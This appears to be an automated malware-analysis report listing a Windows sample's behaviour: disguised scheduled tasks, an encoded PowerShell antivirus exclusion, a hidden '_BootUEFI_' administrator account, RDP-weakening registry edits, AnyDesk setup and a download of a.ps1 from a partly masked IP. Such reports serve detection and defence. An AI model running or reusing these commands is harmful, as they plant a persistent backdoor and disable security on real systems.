Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\intel(r) ethernet2 connection 1219-lm
- <SYSTEM32>\tasks\intel(r) ethernet2 connection 1219-lm2
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -w Hidden -Encodedcommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AHcAaQBuAGQAaQByAFwAUwB5AHMAdABlAG0AMwAyACIA
Executes the following
- '<SYSTEM32>\net.exe' user _BootUEFI_ /add
- '<SYSTEM32>\net.exe' localgroup Administrators _BootUEFI_ /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" _BootUEFI_ /add
Downloads
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- <SYSTEM32>\sysmon.bat
- <SYSTEM32>\sysmon2.bat
- <SYSTEM32>\once.bat
- %TEMP%\<File name>.exe
- %APPDATA%\anydesk\ad.trace
- %APPDATA%\anydesk\user.conf
- %APPDATA%\anydesk\service.conf
- %APPDATA%\anydesk\system.conf
- %WINDIR%\temp\__psscriptpolicytest_1ntexh3v.akh.ps1
- %WINDIR%\temp\__psscriptpolicytest_0ld4msis.ex1.psm1
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-43-029.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-43-337.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-43-447.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-43-664.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-43-730.dump
- %WINDIR%\temp\__psscriptpolicytest_bt0tz23j.kx0.ps1
- %WINDIR%\temp\__psscriptpolicytest_vxmfctra.4nu.psm1
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-44-856.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-45-290.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-45-383.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-46-190.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-48-529.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-49-640.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-50-033.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-50-136.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-50-174.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-50-252.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-50-321.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-50-375.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-50-422.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\moduleanalysiscache
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-56-476.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-57-592.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-57-877.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-57-890.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-57-898.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-57-945.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-57-976.dump
- %WINDIR%\temp\content\5612-5080-powershell.exe-21-17-58-130.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_n5onp4uh.2ev.ps1
- %WINDIR%\temp\__psscriptpolicytest_hh4mmwjd.v2f.psm1
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-01-410.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-01-587.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-01-763.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-02-294.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-02-542.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-02-824.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-097.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-148.dump
- %WINDIR%\temp\__psscriptpolicytest_inqyfj05.nx0.ps1
- %WINDIR%\temp\__psscriptpolicytest_iz43ofl2.bxv.psm1
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-377.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-419.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-514.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-668.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-714.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-834.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-877.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-917.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-949.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-03-981.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-04-015.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-04-047.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-04-787.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-05-561.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-05-593.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-05-596.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-05-639.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-05-672.dump
- %WINDIR%\temp\content\1652-5116-powershell.exe-21-18-05-758.dump
Deletes following files that it created itself
- %TEMP%\<File name>.exe
- %WINDIR%\temp\__psscriptpolicytest_1ntexh3v.akh.ps1
- %WINDIR%\temp\__psscriptpolicytest_0ld4msis.ex1.psm1
- %WINDIR%\temp\__psscriptpolicytest_bt0tz23j.kx0.ps1
- %WINDIR%\temp\__psscriptpolicytest_vxmfctra.4nu.psm1
- %WINDIR%\temp\__psscriptpolicytest_n5onp4uh.2ev.ps1
- %WINDIR%\temp\__psscriptpolicytest_hh4mmwjd.v2f.psm1
- %WINDIR%\temp\__psscriptpolicytest_inqyfj05.nx0.ps1
- %WINDIR%\temp\__psscriptpolicytest_iz43ofl2.bxv.psm1
Network activity
Connects to
- 'bo#####.net.anydesk.com':443
- 'bo#####.net.anydesk.com':80
- 'bo#####.net.anydesk.com':6568
- '15#.#73.104.143':80
TCP
HTTP GET requests
- http://15#.#73.104.143/up/a.ps1
- http://15#.#73.104.143/up/get-command.php?ui#####################################################################################################################################################...
Other
- 'bo#####.net.anydesk.com':443
- 'bo#####.net.anydesk.com':80
- 'bo#####.net.anydesk.com':6568
UDP
- DNS ASK bo#####.net.anydesk.com
Miscellaneous
Creates and executes the following
- '%TEMP%\<File name>.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\once.bat" "
- '<SYSTEM32>\schtasks.exe' /delete /tn "Intel(R) Ethernet2 Connection 1219-LM" /f
- '<SYSTEM32>\cmd.exe' /c del /Q "%TEMP%\*.exe"
- '<SYSTEM32>\schtasks.exe' /create /tn "Intel(R) Ethernet2 Connection 1219-LM" /tr "<SYSTEM32>\sysmon2.bat" /ru "SYSTEM" /sc ONSTART /rl HIGHEST
- '<SYSTEM32>\schtasks.exe' /run /tn "Intel(R) Ethernet2 Connection 1219-LM"
- '<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\sysmon2.bat"
- '<SYSTEM32>\schtasks.exe' /delete /tn "Intel(R) Ethernet2 Connection 1219-LM2" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Intel(R) Ethernet2 Connection 1219-LM2" /tr "<SYSTEM32>\sysmon.bat" /ru "SYSTEM" /sc MINUTE /mo 5 /rl HIGHEST
- '<SYSTEM32>\schtasks.exe' /run /tn "Intel(R) Ethernet2 Connection 1219-LM2"
- '<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\sysmon.bat"
- '<SYSTEM32>\net1.exe' user _BootUEFI_ /add
- '<SYSTEM32>\net.exe' user _BootUEFI_ 123456!!! /active:yes /comment:"A account for booting the computer as uefi mode." /fullname:"_BootUEFI_Host Account"
- '<SYSTEM32>\net1.exe' user _BootUEFI_ 123456!!! /active:yes /comment:"A account for booting the computer as uefi mode." /fullname:"_BootUEFI_Host Account"
- '<SYSTEM32>\net1.exe' localgroup Administrators _BootUEFI_ /add
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" /add
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" _BootUEFI_ /add
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client" /v fClientDisableUDP /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v _BootUEFI_ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Terminal Server Client" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s UmRdpService
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\once.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /Q "%TEMP%\*.exe"' (with hidden window)
